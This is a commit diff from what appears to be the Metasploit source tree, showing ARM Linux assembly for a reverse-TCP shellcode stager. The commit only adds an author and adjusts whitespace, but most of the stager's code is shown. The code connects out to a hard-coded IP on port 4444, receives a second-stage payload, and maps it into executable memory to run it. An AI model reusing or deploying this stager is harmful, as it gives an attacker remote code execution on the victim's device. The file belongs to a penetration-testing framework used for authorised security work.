File tree Expand file tree Collapse file tree 1 file changed +6
-6
lines changed
external/source/shellcode/linux/armle Expand file tree Collapse file tree 1 file changed +6
-6
lines changed Original file line number Diff line number Diff line change 2
2
@
3
3
@ Name: stager_sock_reverse
4
4
@ Qualities: -
5
- @ Authors: nemo <nemo [ at ] felinemenace.org>
5
+ @ Authors: nemo <nemo [ at ] felinemenace.org> , tkmru
6
6
@ License: MSF_LICENSE
7
7
@ Description:
8
8
@
@@ -37,15 +37,15 @@ _start:
37
37
cmp r0 , # 0
38
38
blt failed
39
39
@ int connect( int sockfd , const struct sockaddr * addr , socklen_t addrlen) ;
40
- mov r12 , r0 @ sockfd
40
+ mov r12 , r0 @ sockfd
41
41
add r7 , # 2 @ __NR_socket
42
42
add r1 , pc , # 196 @ * addr
43
43
mov r2 , # 16 @ addrlen
44
44
swi 0
45
45
cmp r0 , # 0
46
46
blt failed
47
47
@ ssize_t recv( int sockfd , void * buf , size_t len , int flags ) ;
48
- mov r0 , r12 @ sockfd
48
+ mov r0 , r12 @ sockfd
49
49
sub sp , # 4
50
50
add r7 , # 8 @ __NR_recv
51
51
mov r1 , sp @ * buf (on the stack)
@@ -65,7 +65,7 @@ _start:
65
65
mov r7 , # 192 @ __NR_mmap2
66
66
ldr r0 , = 0xffffffff @ * addr = NULL
67
67
mov r2 , # 7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
68
- ldr r3 , = 0x1022 @ flags = MAP_ANON | MAP_PRIVATE
68
+ ldr r3 , = 0x1022 @ flags = MAP_ANON | MAP_PRIVATE
69
69
mov r4 , r0 @ fd
70
70
mov r5 , # 0 @ pgoffset
71
71
swi 0
85
85
cmp r2 , # 0
86
86
ble last
87
87
mov r2 , # 1000 @ len
88
- swi 0
88
+ swi 0
89
89
cmp r0 , # 0
90
90
blt failed
91
91
b loop
@@ -102,7 +102,7 @@ failed:
102
102
swi 0
103
103
@ addr
104
104
@ port: 4444 , sin_fam = 2
105
- . word 0x5c110002
105
+ . word 0x5c110002
106
106
@ ip : 127 . 0 . 0 . 1
107
107
. word 0x01aca8c0
108
108
@. word 0x0100007f
You can’t perform that action at this time.
0 commit comments